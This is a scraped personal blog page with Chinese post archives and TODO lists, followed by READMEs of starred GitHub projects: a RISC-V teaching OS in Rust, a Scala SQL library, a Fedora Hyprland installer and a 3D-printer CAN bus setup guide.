Git 存档--2019-12-04
docker存档--2019-11-20
前端存档--2019-11-19
psql 存档--2019-10-11
利用github issues加上github webhook写博客自动化--2019-10-02
Python存档--2019-09-30
工具小技巧--2019-09-20
CSS存档--2019-08-09
MongoDB存档--2019-08-09
JS存档--2019-08-07
ES存档--2019-08-02
正则表达式--2019-07-31
踩坑小记--2019-07-28
MySQL存档--2019-07-27
Linux存档--2019-07-26

日记

记忆碎片--2023-12-24
五月病--2023-06-02
一杯敬月光--2022-11-18
有趣与无趣--2021-10-13
一点思考--2021-08-19

显示更多

精进计划

读书笔记

2020

显示更多

番茄工作法，焦虑，咖啡，喘不上气，生活--2020-08-10
2020年七月总结八月展望--2020-08-01
新的计划，新的开始，戒掉社交网络--2020-05-29
新的计划，新的开始，学日语--2020-05-29
新的计划，新的开始，再一次减肥。--2020-05-09
2020四月总结五月计划--2020-05-03
四月过去了，五月来了--2020-05-01
下周一开始减肥，轮回--2020-04-18
一口气看完一本书的感觉好爽--2020-04-04
3月总结及4月展望--2020-04-01
新的一周，新的一个月--2020-03-30
删了微博--2020-03-21
日语学习--2020-03-20
来了。--2020-03-18
迁移测试--2020-03-17
美股熔断了--2020-03-16
挺没劲的--2020-03-10
快31岁了，又胖了--2020-03-09
二月总结及三月展望--2020-03-02
新的开始--2020-02-24
不能再这样下去了--2020-02-22
不刷，冷静下来。--2020-02-17
看到一张图，说点什么。--2020-02-08
焦虑--2020-02-03
2020 年 1 月总结 2 月展望就一个，这个操蛋的肺炎快点过去--2020-02-01
过年好--2020-01-24
第100篇，又到了0点--2020-01-12
2020就这么来了--2020-01-01

2021

生存守则--2021-01-27
今年的三个小目标--2021-01-14
二零二一开始--2021-01-04

开发笔记

running_page 开源一周年的总结--2021-09-27
巧妙利用 iOS 的快捷指令配合 GitHub Actions 实现自动化--2020-12-23
如何获取悦跑圈数据--2020-12-18
vscode-gcores开发笔记3--2020-02-18
vscode-gcores 开发笔记 2--2020-02-11

显示更多

vscode-gcores开发笔记1--2020-01-19

生活

开源值得么？--2023-11-23
微信好友--2023-08-23
今天的跑步电台--2022-07-18
新冠纪元--2022-04-26
年终岁尾--2022-01-28

显示更多

TODO

TODO list from Postgres 需要学的东西--17 jobs to do--2 jobs done

GUC
Btree & B+Tree
WAL
Locks
Shared memory
Page
LWLocks
IO
协议
Diskquota
Tuple
FSM
Join
MVCC
BufferPool
分布式
Hash
MmeoryContext
SPI

TODO list from 接下来要写的东西--3 jobs to do--5 jobs done

running_page 一周年总结
机核文章
我跑步听的播客
该离开了
选择
django shell 的运行原理
推荐两个 YouTube 程序员
游戏行业科普

TODO list from 学习生活上的计划--3 jobs to do--1 jobs done

背标日初级下的单词
月跑量突破250 km
瘦到130斤
年底考个日语 3 级

TODO list from 程序上新的计划--2 jobs to do--8 jobs done

完善 gitblog 的 action 让用户更少更改
给 gitblog 这个增加todo list 功能(这个就是测试）
给 running page 增加排序
完善 runtastic 增加一个参数
尝试搞定 vscode-leetcode 的cn第三方登陆
研究自动截图发邮件功能（工作上）
把 running page 变得更通用(自动生成的js可以用gpx生成)
搞定 gcores 日历
继续给大连咖啡做贡献
学点底层

thebiscuitaep/OpenCoreIconsPack

2024-01-03T01:36:51Z

Modern Icons Pack For Open Core!

Raicuparta/rai-pal

2024-01-03T01:37:07Z

Let's write an OS which can run on RISC-V in Rust from scratch!

rCore-Tutorial-v3

rCore-Tutorial version 3.6. See the Documentation in Chinese.

rCore-Tutorial API Docs. See the API Docs of Ten OSes

If you don't know Rust Language and try to learn it, please visit Rust Learning Resources

Official QQ group number:

Group 1: 735045051(FULL)
Group 2: 635245268

news

23/06/2022: Version 3.6.0 is on the way! Now we directly update the code on chX branches, please periodically check if there are any updates.

Overview

This project aims to show how to write an Unix-like OS running on RISC-V platforms from scratch in Rust for beginners without any background knowledge about computer architectures, assembly languages or operating systems.

Features

Platform supported: qemu-system-riscv64 simulator or dev boards based on Kendryte K210 SoC such as Maix Dock
OS
- concurrency of multiple processes each of which contains mutiple native threads
- preemptive scheduling(Round-Robin algorithm)
- dynamic memory management in kernel
- virtual memory
- a simple file system with a block cache
- an interactive shell in the userspace
only 4K+ LoC
A detailed documentation in Chinese in spite of the lack of comments in the code(English version is not available at present)

Prerequisites

Install Rust

See official guide.

Install some tools:

$ rustup target add riscv64gc-unknown-none-elf
$ cargo install cargo-binutils --vers =0.3.3
$ rustup component add llvm-tools-preview
$ rustup component add rust-src

Install Qemu

Here we manually compile and install Qemu 7.0.0. For example, on Ubuntu 18.04:

# install dependency packages
$ sudo apt install autoconf automake autotools-dev curl libmpc-dev libmpfr-dev libgmp-dev \
              gawk build-essential bison flex texinfo gperf libtool patchutils bc \
              zlib1g-dev libexpat-dev pkg-config  libglib2.0-dev libpixman-1-dev git tmux python3 python3-pip ninja-build
# download Qemu source code
$ wget https://download.qemu.org/qemu-7.0.0.tar.xz
# extract to qemu-7.0.0/
$ tar xvJf qemu-7.0.0.tar.xz
$ cd qemu-7.0.0
# build
$ ./configure --target-list=riscv64-softmmu,riscv64-linux-user
$ make -j$(nproc)

Then, add following contents to ~/.bashrc(please adjust these paths according to your environment):

export PATH=$PATH:/path/to/qemu-7.0.0/build

Finally, update the current shell:

$ source ~/.bashrc

Now we can check the version of Qemu:

$ qemu-system-riscv64 --version
QEMU emulator version 7.0.0
Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers

Install RISC-V GNU Embedded Toolchain(including GDB)

Download the compressed file according to your platform From Sifive website(Ctrl+F 'toolchain').

Extract it and append the location of the 'bin' directory under its root directory to $PATH.

For example, we can check the version of GDB:

$ riscv64-unknown-elf-gdb --version
GNU gdb (SiFive GDB-Metal 10.1.0-2020.12.7) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Install serial tools(Optional, if you want to run on K210)

$ pip3 install pyserial
$ sudo apt install python3-serial

Run our project

Qemu

$ git clone https://github.com/rcore-os/rCore-Tutorial-v3.git
$ cd rCore-Tutorial-v3/os
$ make run

After outputing some debug messages, the kernel lists all the applications available and enter the user shell:

/**** APPS ****
mpsc_sem
usertests
pipetest
forktest2
cat
initproc
race_adder_loop
threads_arg
race_adder_mutex_spin
race_adder_mutex_blocking
forktree
user_shell
huge_write
race_adder
race_adder_atomic
threads
stack_overflow
filetest_simple
forktest_simple
cmdline_args
run_pipe_test
forktest
matrix
exit
fantastic_text
sleep_simple
yield
hello_world
pipe_large_test
sleep
phil_din_mutex
**************/
Rust user shell
>>

You can run any application except for initproc and user_shell itself. To run an application, just input its filename and hit enter. usertests can run a bunch of applications, thus it is recommended.

Type Ctrl+a then x to exit Qemu.

K210

Before chapter 6, you do not need a SD card:

$ git clone https://github.com/rcore-os/rCore-Tutorial-v3.git
$ cd rCore-Tutorial-v3/os
$ make run BOARD=k210

From chapter 6, before running the kernel, we should insert a SD card into PC and manually write the filesystem image to it:

$ cd rCore-Tutorial-v3/os
$ make sdcard

By default it will overwrite the device /dev/sdb which is the SD card, but you can provide another location. For example, make sdcard SDCARD=/dev/sdc.

After that, remove the SD card from PC and insert it to the slot of K210. Connect the K210 to PC and then:

$ git clone https://github.com/rcore-os/rCore-Tutorial-v3.git
$ cd rCore-Tutorial-v3/os
$ make run BOARD=k210

Type Ctrl+] to disconnect from K210.

Show runtime debug info of OS kernel version

The branch of ch9-log contains a lot of debug info. You could try to run rcore tutorial for understand the internal behavior of os kernel.

$ git clone https://github.com/rcore-os/rCore-Tutorial-v3.git
$ cd rCore-Tutorial-v3/os
$ git checkout ch9-log
$ make run
......
[rustsbi] RustSBI version 0.2.0-alpha.10, adapting to RISC-V SBI v0.3
.______       __    __      _______.___________.  _______..______   __
|   _  \     |  |  |  |    /       |           | /       ||   _  \ |  |
|  |_)  |    |  |  |  |   |   (----`---|  |----`|   (----`|  |_)  ||  |
|      /     |  |  |  |    \   \       |  |      \   \    |   _  < |  |
|  |\  \----.|  `--'  |.----)   |      |  |  .----)   |   |  |_)  ||  |
| _| `._____| \______/ |_______/       |__|  |_______/    |______/ |__|

[rustsbi] Implementation: RustSBI-QEMU Version 0.0.2
[rustsbi-dtb] Hart count: cluster0 with 1 cores
[rustsbi] misa: RV64ACDFIMSU
[rustsbi] mideleg: ssoft, stimer, sext (0x222)
[rustsbi] medeleg: ima, ia, bkpt, la, sa, uecall, ipage, lpage, spage (0xb1ab)
[rustsbi] pmp0: 0x10000000 ..= 0x10001fff (rw-)
[rustsbi] pmp1: 0x2000000 ..= 0x200ffff (rw-)
[rustsbi] pmp2: 0xc000000 ..= 0xc3fffff (rw-)
[rustsbi] pmp3: 0x80000000 ..= 0x8fffffff (rwx)
[rustsbi] enter supervisor 0x80200000
[KERN] rust_main() begin
[KERN] clear_bss() begin
[KERN] clear_bss() end
[KERN] mm::init() begin
[KERN] mm::init_heap() begin
[KERN] mm::init_heap() end
[KERN] mm::init_frame_allocator() begin
[KERN] mm::frame_allocator::lazy_static!FRAME_ALLOCATOR begin
......

Rustdoc

Currently it can only help you view the code since only a tiny part of the code has been documented.

You can open a doc html of os using cargo doc --no-deps --open under os directory.

OS-API-DOCS

The API Docs for Ten OS

Working in progress

Our first release 3.6.0 (chapter 1-9) has been published, and we are still working on it.

chapter 9: need more descripts about different I/O devices

Here are the updates since 3.5.0:

Completed

automatically clean up and rebuild before running our project on a different platform
fix power series application in early chapters, now you can find modulus in the output
use UPSafeCell instead of RefCell or spin::Mutex in order to access static data structures and adjust its API so that it cannot be borrowed twice at a time(mention & .exclusive_access().task[0] in run_first_task)
move TaskContext into TaskControlBlock instead of restoring it in place on kernel stack(since ch3), eliminating annoying task_cx_ptr2
replace llvm_asm! with asm!
expand the fs image size generated by rcore-fs-fuse to 128MiB
add a new test named huge_write which evaluates the fs performance(qemu~500KiB/s k210~50KiB/s)
flush all block cache to disk after a fs transaction which involves write operation
replace spin::Mutex with UPSafeCell before SMP chapter
add codes for a new chapter about synchronization & mutual exclusion(uniprocessor only)
bug fix: we should call find_pte rather than find_pte_create in PageTable::unmap
clarify: "check validity of level-3 pte in find_pte instead of checking it outside this function" should not be a bug
code of chapter 8: synchronization on a uniprocessor
switch the code of chapter 6 and chapter 7
support signal mechanism in chapter 7/8(only works for apps with a single thread)
Add boards/ directory and support rustdoc, for example you can use cargo doc --no-deps --open to view the documentation of a crate
code of chapter 9: device drivers based on interrupts, including UART, block, keyboard, mouse, gpu devices
add CI autotest and doc in github

Todo(High priority)

review documentation, current progress: 8/9
use old fs image optionally, do not always rebuild the image
shell functionality improvement(to be continued...)
give every non-zero process exit code an unique and clear error type
effective error handling of mm module
add more os functions for understanding os conecpts and principles

Todo(Low priority)

rewrite practice doc and remove some inproper questions
provide smooth debug experience at a Rust source code level
format the code using official tools

Crates

We will add them later.

Vyxal/Vyxal

2024-01-03T01:37:27Z

Query SQL databases from Scala via concise, type-safe, and familiar case classes and collection operations

ScalaSql

ScalaSql is a Scala library that allows type-safe low-boilerplate querying of SQL databases, using "standard" Scala collections operations running against typed Table descriptions.

import scalasql._, SqliteDialect._

// Define your table model classes
case class City[T[_]](
    id: T[Int],
    name: T[String],
    countryCode: T[String],
    district: T[String],
    population: T[Long]
)
object City extends Table[City]

// Connect to your database (example uses in-memory sqlite, org.xerial:sqlite-jdbc:3.43.0.0)
val dataSource = new org.sqlite.SQLiteDataSource()
dataSource.setUrl(s"jdbc:sqlite:file.db")
lazy val dbClient = new scalasql.DbClient.DataSource(
  dataSource,
  config = new scalasql.Config {
    override def nameMapper(v: String) = v.toLowerCase() // Override default snake_case mapper
    override def logSql(sql: String, file: String, line: Int) = println(s"$file:$line $sql")
  }
)

dbClient.transaction{ db =>

  // Initialize database table schema and data
  db.updateRaw(os.read(os.Path("scalasql/test/resources/world-schema.sql", os.pwd)))
  db.updateRaw(os.read(os.Path("scalasql/test/resources/world-data.sql", os.pwd)))

  // Adding up population of all cities in China
  val citiesPop = db.run(City.select.filter(_.countryCode === "CHN").map(_.population).sum)
  // SELECT SUM(city0.population) AS res FROM city city0 WHERE city0.countrycode = ?
  println(citiesPop)
  // 175953614

  // Finding the 5-8th largest cities by population
  val fewLargestCities = db.run(
    City.select
        .sortBy(_.population).desc
        .drop(5).take(3)
        .map(c => (c.name, c.population))
  )
  // SELECT city0.name AS res__0, city0.population AS res__1
  // FROM city city0 ORDER BY res__1 DESC LIMIT ? OFFSET ?
  println(fewLargestCities)
  // Seq((Karachi, 9269265), (Istanbul, 8787958), (Ciudad de México, 8591309))
}

ScalaSql supports PostgreSQL, MySQL, Sqlite, and H2 databases. Support for additional databases can be easily added.

ScalaSql is a relatively new library, so please try it out, but be aware you may hit bugs or missing features! Please open Discussions for any questions, file Issues for any bugs you hit, or send Pull Requests if you are able to investigate and fix them!

Getting Started

To get started with ScalaSql, add it to your build.sc file as follows:

ivy"com.lihaoyi::scalasql:0.1.0"

Documentation

ScalaSql Quickstart Examples: self-contained files showing how to set up ScalaSql with a variety of supported databases and perform simple DDL and SELECT/INSERT/UPDATE/DELETE operations:
- Postgres
- MySql
- Sqlite
- H2
- HikariCP (and other connection pools)
ScalaSql Tutorial: a structured walkthrough of how to use ScalaSql, connecting to a database and writing queries to SELECT/INSERT/UPDATE/DELETE against it to perform useful work. Ideal for newcomers to work through from top to bottom when getting started with the library.
ScalaSql Cheat Sheet: a compact summary of the main features of ScalaSql and the syntax to make use of them.
ScalaSql Reference: a detailed listing of ScalaSql functionality, comprehensively covering everything that ScalaSql supports, in a single easily searchable place. Ideal for looking up exactly methods/operators ScalaSql supports, looking up how ScalaSql code translates to SQL, or looking up SQL syntax to find out how to express it using ScalaSql. Useful subsections include:
- DbApi, covering the main methods you can all to execute queries
- Transaction, covering usage of transactions and savepoints
- Select, Insert, Update, Delete: covering operations on the primary queries you are likely to use
- Join, covering different kinds of joins
- Returning, On Conflict: covering these modifiers on INSERT and UPDATE for the databases that support them
- Expression Operations, covering the different types of Expr[T] values and the different operations you can do on each one
- Option Operations, operations on Expr[Option[T]
- Window Functions, With-Clauses/Common-Table-Expressions
- Postgres, MySql, Sqlite, H2 Dialects: operations that are specific to each database that may not be generally applicable
ScalaSql Design: discusses the design of the ScalaSql library, why it is built the way it is, what tradeoffs it makes, and how it compares to other common Scala database query libraries. Ideal for contributors who want to understand the structure of the ScalaSql codebase, or for advanced users who may need to understand enough to extend ScalaSql with custom functionality.
Developer Docs: things you should read if you want to make changes to the com-lihaoyi/scalasql codebase

Changelog

0.1.0

First release!

TODO

Scala 3 support
JSON columns
Add datetime functions
Make implicit ctx => for defining sql"..." snippets optional

luxonis/depthai-model-zoo

2024-01-04T01:38:33Z

DepthAI Model Zoo is a collection of open-source neural network models and datasets created and maintained by DepthAI developers and community

JaKooLit/Fedora-Hyprland

2024-01-03T01:37:43Z

For automated installation of Hyprland on Fedora on any Fedora based distros

💌 JaKooLit's Fedora Hyprland Install Script 💌

📷 Hyprland-Dots-v2 Featuring Rofi

❕ Installed on Nobara 🥰

📸 More up to date screenshots `Link`

📷 Older Screenshots `V1` & `V2`

✨ Youtube presentation `v1`

✨ Youtube presentation `v2`

✨ A video walk through my dotfiles`Link`

✨ A video walk through of My Hyprland-Dots v2`Link`

🪧🪧🪧 ANNOUNCEMENT 🪧🪧🪧

This Repo does not contain Hyprland Dots or configs! Dotfiles can be checked here Hyprland-Dots . During installation, if you opt to copy installation, it will be downloaded from that centralized repo.
Hyprland-Dots use are constantly evolving / improving. you can check CHANGELOGS here Hyprland-Dots-Changelogs
Since the Hyprland-Dots are evolving, some of the screenshots maybe old
the wallpaper offered to be downloaded towards the end is from this REPO

[!IMPORTANT] install a backup tool like snapper or timeshift. and Backup your system before installing hyprland using this script. This script does NOT include uninstallation of packages

✨ Some notes on installation / Pre-requisites

This install script was tested on Minimal Fedora using Fedora Everything Link
This script is meant to install in any Fedora Work stations and its Spins.
if starting from scratch, recommended spin to install is the Sway Spin. However, I have tested this script in Fedora Workstation (gnome), Plasma Spin and Sway
I have not tested in any other spin. However, if you decided to try, recommend to install SDDM. Apart from GDM and SDDM, any other Login Manager may not work nor launch Hyprland. However, hyprland can be launched through tty by type Hyprland
If you have nvidia, and wanted to use proprietary drivers, uninstall nouveau first (if installed). This script will be installing proprietary nvidia drivers and will not deal with removal of nouveau.

⚠️ WARNING! If you have GDM already as log-in manager, DO NOT install SDDM

You will likely to encounter issues

⚠️ WARNING! nwg-look takes long time to install.

nwg-look is a utility to costumize your GTK theme. It's a LXAppearance like. Its a good tool though but this package is entirely optional

✨ Costumize the packages and COPR Repos

inside the install-scripts folder, you can edit 00-hypr-pkgs.sh, copr.sh, etc. Care though as the Hyprland Dots might not work properly
default GTK theme if agreed to be installed is Tokyo night GTK themes (dark and light) + Tokyo night SE icons + Bibata Cursor

💫 SDDM and GTK Themes offered

If you opted to install SDDM theme, here's the LINK
If you opted to install GTK Themes, Icons and Cursor offered are Tokyo Nights. LINK & Bibata Cursor Modern Ice

🔔 NOTICE TO NVIDIA OWNERS

by default it is installing the latest and newest nvidia drivers. If you have an older nvidia-gpu (GTX 800 series and older), check out nvidia-fedora website LINK and edit nvidia.sh in install-scripts folder to install proper gpu driver

[!IMPORTANT] If you want to use nouveau driver, choose N when asked if you have nvidia gpu. This is because the nvidia installer part, it will blacklist nouveau. Hyprland will still be installed but it will skip blacklisting nouveau.

✨ to run

clone this repo (latest commit only) to reduce file size download by using git. Change directory, make executable and run the script

git clone --depth=1 https://github.com/JaKooLit/Fedora-Hyprland.git
cd Fedora-Hyprland
chmod +x install.sh
./install.sh

✨ for ZSH and OH-MY-ZSH installation

installer should auto change your default shell to zsh. However, if it does not, do this

chsh -s $(which zsh)
zsh
source ~/.zshrc

reboot or logout
by default agnoster theme is installed. You can find more themes from this OH-MY-ZSH-THEMES
to change the theme, edit ~/.zshrc ZSH_THEME="desired theme"

✨ TO DO once installation done and dotfiles copied

~~if you opted to install gtk themes, to apply the theme and icon, press the dark/light button (beside the padlock). To apply Bibata modern ice cursor, launch nwg-look (GTK Settings) through rofi.~~ Hyprland-Dots v2.1.18, initial boot file will attempt to apply GTK themes,cursor, and icons. You can tweak more using nwg-look (GTK-Settings) utility
SUPER H for HINT or click on the waybar HINT! Button
Head over to FAQ and TIPS

✨ Packages that are manually downloaded and build. These packages will not be updated by dnf and have to be manually updated

nwg-look LINK
a.) to update this package, in your installation folder, you can move that folder (nwg-look) or download manually, cd into it, and ran git pull && sudo make install

🙋 Got a questions regarding the Hyprland Dots or configurations? 🙋

Head over to wiki Link WIKI

🙋 👋 Having issues or questions?

for the install part, kindly open issue on this repo
for the Pre-configured Hyprland dots / configuration, submit issue here

🔧 Proper way to re-installing a particular script from install-scripts folder

CD into Fedora-Hyprland Folder and then ran the below command.
i.e. ./install-scripts/gtk-themes - For reinstall GTK Themes.

🛣️ Roadmap:

~~[ ] Install zsh and oh-my-zsh without necessary steps above~~ DONE
possibly adding gruvbox themes, cursors, icons

❗ some known issues

reports from members of my discord, states that some users of nvidia are getting stuck on sddm login. credit to @Kenni Fix stated was

 while in sddm press ctrl+alt+F2 or F3
log into your account
`lspci -nn`, find the id of your nvidia card
`ls /dev/dri/by-path` find the matching id
`ls -l /dev/dri/by-path` to check where the symlink points to 
)
7. add "env = WLR_DRM_DEVICES,/dev/dri/cardX" to the ENVvariables config (.config/hypr/configs/ENVariables.conf)  ; X being where the symlink of the gpu points to

more info from the hyprland wiki Hyprland Wiki Link
Fedora Sway Specific - swaylock conflicts with swaylock-effects. Lock screen would be only white. If decided to remove swaylock in favor with swaylock-effects, sway will be removed. So care

📒 Final Notes

join my discord channel Discord
Feel free to copy, re-distribute, and use this script however you want. Would appreciate if you give me some loves by crediting my work :)

👍👍👍 Thanks and Credits!

Hyprland Of course to Hyprland and @vaxerski for this awesome Dynamic Tiling Manager.
HYPRLAND COPR REPO - a shout out to the one who created and maintaining Hyprland COPR Repo

💖 Support

a Star on my Github repos would be nice 🌟
Subscribe to my Youtube Channel YouTube
You can also buy me Coffee Through ko-fi.com or Coffee.com 🤩

📹 📹 Youtube videos (Click to view and watch the playlist)

Esoterical/voron_canbus

2024-01-03T01:37:43Z

Before we start a big thanks has to go to the #mcu_toolhead_boards thread on the Voron discord. A wealth of information from some very clever people. If you have any of the following combinations of hardware, please look at these existing specific guides:

Octopus (in CAN bridge mode) and SB2040: https://github.com/akhamar/voron_canbus_octopus_sb2040 by @MastahFR

BTT U2C and EBB36: https://github.com/EricZimmerman/VoronTools/blob/main/EBB_CAN.md by @EricZimmerman

SKR Pico in can bridge mode: https://github.com/eschlenz/3D-Printing-Public/blob/main/skr_pico_canboot_canbus.md by @eschlenz

and many others.

Generalised CANBus guide

So you want to use Canbus on your printer? There are plenty of guides around but usually they are guides on a specific hardware configuration. This guide hopes to generalise some of the steps to help anyone get started on their CAN journey with a printer.

Note: This will be generally structured around Voron printers and common hardware for a Voron printer, but you can take the information to any Klipper-based printer as long as you either use the same electronics (mainboard/canboard) or use this guide to adapt to your specific electronics (if they are supported).

So let's get started.

Basic Structure of a 3d Printer CANBus

In all likelyhood you are looking to hook up a single CAN toolhead board to your printer to minimise wiring from mainboard to toolhead, so that is the setup we'll be focusing on. In order to achieve a functioning CAN network on your printer you need 3 things: A computer running the main Klipper software (usually a Raspberry Pi, but anything with a USB port will work for this guide), a CAN network adapter (either a standalone USB device or running a compatible mainboard in klipper's usb-can bridge mode) and a CAN node (the toolhead device). This is also the order in which you need to set things up. No point setting everything up on the toolhead CAN board if you don't have a way for the Pi to talk to it. We are going to assume you have a functioning Pi (or equivelant) running linux and already have Klippper, Moonraker, some sort of GUI (Fluidd/Mainsail/Octoprint), and you have the ability to SSH into it.

Regarding Katapult (formerly known as CanBoot)

You may have seen other guides have installing Katapult/CanBOOT onto devices as a first step. Katapult is a custom firmware and allows flashing of Klipper to the devices via the CAN network so you don't have to plug a USB cable in each time to flash/update klipper. Katapult is really handy but it is NOT mandatory. This will be discussed later, but Klipper will happily run over a CAN network with or without Katapult.

can0 file, CAN Speeds, and Transmit Queue Length

This step usually comes later, but as it is common across all different variants we may as well get it done first. In order to dictate the speed at which your CAN network runs at you will need to create (or modify) a "can0" file on your Pi. This is what will tell linux "Hey, you now have a new network interface called can0 that you can send CAN traffic over". The approach needed here heavily depends on the network stack of your Pi. Raspbian and older version of Debian typically use ifupdown, but newer versions of non-raspbian Debian use netplan, which by default uses systemd-networkd under the hood.

To test if your system uses networkd, try running networkctl. If the command is not available, gives an error or no link output, you're probably still using ifupdown. If it does give you meaningful output (typically at least an ether and wlan link), you're using systemd-networkd. To be safe it's easiest to just follow both the "ifupdown" and the "systemd-networkd" instructions. You can have both set up and your Pi will just use the configuration that is relevant to your system.

To set everything up, SSH into your pi and run the commands needed for your network setup:

ifupdown

sudo nano /etc/network/interfaces.d/can0

This will open (or create if it doesn't exist) a file called 'can0' in which you need to enter the following information:

allow-hotplug can0
iface can0 can static
  bitrate 1000000
  up ip link set can0 txqueuelen 1024

Press Ctrl+X to save the can0 file.

The "allow-hotplug" helps the CAN nodes come back online when doing a "firmware_restart" within Klipper. "bitrate" dictates the speed at which your CAN network runs at. Kevin O'Connor (of Klipper fame) recommends a 1M speed for this to help with high-bandwidth and timing-critical operations (ADXL Shaper calibration and mesh probing for example). To complement a high bitrate, setting a high transmit queue length "txqueuelen" of 1024 helps minimise "Timer too close" errors.

Once the can0 file is created just reboot the Pi with a sudo reboot and move on to the next step.

systemd-networkd (netplan)

sudo nano /etc/systemd/network/10-can.link

This will open (or create if it doesn't exist) a file called 10-can.link in which you need to enter the following information:

[Match]
Type=can

[Link]
TransmitQueueLength=1024

Press Ctrl+X to save the file.

To set the bitrate, we need to create another file in the same directory:

sudo nano /etc/systemd/network/25-can.network

This creates a network file, that networkd will then use to automatically set up the network with. Because of how networkd works, "hotplugging" is baked in. Enter the following in the network-file and close it with Ctrl+X:

[Match]
Name=can*

[CAN]
BitRate=1M

Your main CAN network adapter

To actually create a CAN network in your system, your Pi needs some sort of device to act as a CAN adapter (think of it like a USB network card, or USB wifi dongle). The simplest plug-and-play option is to use a dedicated USB to Can device such as the BigTreeTech U2C, Mellow Fly UTOC, Fysetc UCAN, etc. (other devices exist as well). The second "cheaper" option is to actually utilise your printer mainboard (ie. Octopus or Spider board) to function as a usb-can bridge for klipper. We'll cover both options, but you only need to choose one.

Dedicated USB CAN device

IF YOU HAVE A BTT U2C V2.1 THEN PLEASE FLASH IT WITH THE LATEST VERSION OF V2 FIRMWARE FROM THE GITHUB AS THE SHIPPED FIRMWARE MAY HAVE BUGS https://github.com/Esoterical/voron_canbus/tree/main/can_adapter/BigTreeTech%20U2C%20v2.1

If you want to use a dedicated USB CAN devcice, then it should be as simple as plugging it in to your Pi via USB. You shouldn't have to flash anything to this U2C/UTOC/etc device first, they are meant to come pre-installed with the necessary firmware. They do NOT run Klipper. You can test if it is working by running an lsusb command (from an SSH terminal to your pi). Most common USB CAN devices will show up as a "Geschwister Schneider CAN adapter" when they are working properly (though some may simply show as an "OpenMoko, Inc" device):

A better check is by running an 'interface config' command ifconfig. If the USB CAN device is up and happy (and you have created the can0 file above) then you will see a can0 interface:

A note on edge cases

If you plug in your USB CAN adapter and you don't see the expected results from an lsusb or ifconfig, then the firmware on your device may have issues. If this is the case then it's worth going to the Github page of your device as they usually have the stock firmware and flashing instructions there.

A note on the note

The BTT U2C V2.1 was released with bad firmware which although would show up to the above tests it would make issues show up down the line. If you have a v2.1 of the U2C then please follow the instructions here: https://github.com/Esoterical/voron_canbus/tree/main/can_adapter/BigTreeTech%20U2C%20v2.1

Klipper USB to CAN bus bridge

The second way of setting up a CAN network is to use the printer mainboard itself as a CAN adapter.

If you are using a dedicated CAN adapter as above then you don't need this step. Your mainboard will be flashed the same as any other "normal" klipper install

This is acheived through Klippers "USB-CAN-Bridge mode". In order for this to work you need to have a compatible MCU on the mainboard (A lot of the popular STM32 chips works, as well as the RP2040), and either a dedicated "CAN" port on the motherboard or at least a way of accessing the CAN pins that you configure for klipper.

Some mainboards (like the BTT Octopus) have a CAN Transceiver built in so they will output CAN signals directly from a dedicated port (the Octopus has an RJ11 port for this purpose). Other compatible boards may have a port on their board labelled as CAN but only output serial (Tx Rx) signals. These boards can still be run as USB-CAN-Bridge mode but will require an additional CAN Transceiver module (such as the SN65HVD230). These can be cheaply purchased from Amazon or eBay or AliExpress. Other boards may yet not have any dedicated CAN port, but still have a compatible MCU and have compatible CAN pins that you can access (the SKR Mini E3 V3 can be run in USB-CAN-Bridge mode if you use the PB8/PB9 pins on the EXP1 header that is normally used for an LCD screen).

More specific instructions refer to https://github.com/Esoterical/voron_canbus/tree/main/mainboard_flashing

Once you have klipper firmware flashed to your mainboard, with the USB-CAN-Bridge mode enabled, it should show up to your Pi as a "Geschwister Schneider CAN adapter" if you run an lsusb

If you run an ifconfig command you should also see a can0 interface.

The takeaway is that if you go down the mainboard USB-CAN-Bridge route, then you need to have klipper firmware flashed to the mainboard before attempting any further CAN installs/troubleshooting.

CAN on a toolhead

One you have a functioning CAN network on your printer, you can proceed to flashing klipper to your toolhead of choice. Refer to https://github.com/Esoterical/voron_canbus/tree/main/toolhead_flashing for more information on how to flash the toolhead.

To wire up your toolhead refer to manufacturer guides but the overall process is hooking up 24v and Gnd back to your 24v PSU, and then connecting CANH and CANL to the CANH and CANL of your CAN adapter (either dedicated USB Can devcie, or a USB-CAN-Bridge mainboard). CANH goes to CANH, CANL goes to CANL.

Once you have klipper installed on your toolhead, and it is all wired up correctly, you can run a canbus query command:

~/klippy-env/bin/python ~/klipper/scripts/canbus_query.py can0

which should show a can UUID for each CAN device (a USB-CAN-Bridge mode mainboard will show as a CAN device) as well as the unique ID of the device:

You will then use this uuid in your printer.cfg for the [mcu] section of your device

(This is my Spider mainboard running in USB-CAN-Bridge mode, and my EBB36 toolhead)

Configuration

If you have completed the above and have the canbus uuid of your CAN device in your printer.cfg, then everything else is just a case of setting up the required pins with the toolhead MCU name prefixed to the pin name. See https://www.klipper3d.org/Config_Reference.html#mcu-my_extra_mcu for information. Most toolheads will have a sample.cfg on their github, so it's usually a simple case of copy-pasting the required information from the sample into your own printer.cfg.

SimonCropp/NaughtyStrings

2024-01-04T01:39:08Z

Provides a strong typed .NET API for the Big List of Naughty Strings https://github.com/minimaxir/big-list-of-naughty-strings

RigoBlock/v3-contracts

2024-01-03T01:38:11Z

Smart contracts of RigoBlock v3

Cyfrin/5-t-swap-audit

2024-01-04T01:39:13Z

himenekocn/L4D2-Fix-Net-Pack-Attack

2024-01-03T01:38:14Z

Fix NetPack DOS Attack | 修复小字节网络包服务端攻击

cyanial/genshin-impact-picker

2024-01-03T01:38:35Z

Lessica/Reveil

2024-01-04T01:39:41Z

Bringing back the most advanced system and security analysis tool.

Reveil

Reveil is a replication of Unveil in pure SwiftUI.

IMPORTANT: iOS 15 and above is required.

Currently, Reveil is in early development, and we are working hard to make it better.

Why we developed this again?

Unveil - The most advanced system and security analysis tool. Never got any updates after its initial release.

So we decided to make this app alive again, and open-source it, that's cool. Also, Reveil utilizes complex and innovative techniques to detect possible software modifications or security threats within the iOS application sandbox without relying on exclusive libraries.

Features

State-of-the-art Security Analysis
Visualizes CPU usage (Total/User/Idle), displays CPU specifications, and average load information.
Visualizes memory usage, displays memory specifications, and classifies memory allocations.
Displays system version, BootROM version, kernel version, system uptime, and other kernel information.
Visualizes storage usage and displays the technical storage usage information.
Lists mounted file systems and displays detailed statistical information such as type/attributes.
Visualizes internet usage and attributes internet usage to data sources such as WiFi/Ethernet, Cellular connection, or Personal Hotspot.
Visualizes and displays internet usage information of numerous data sources.
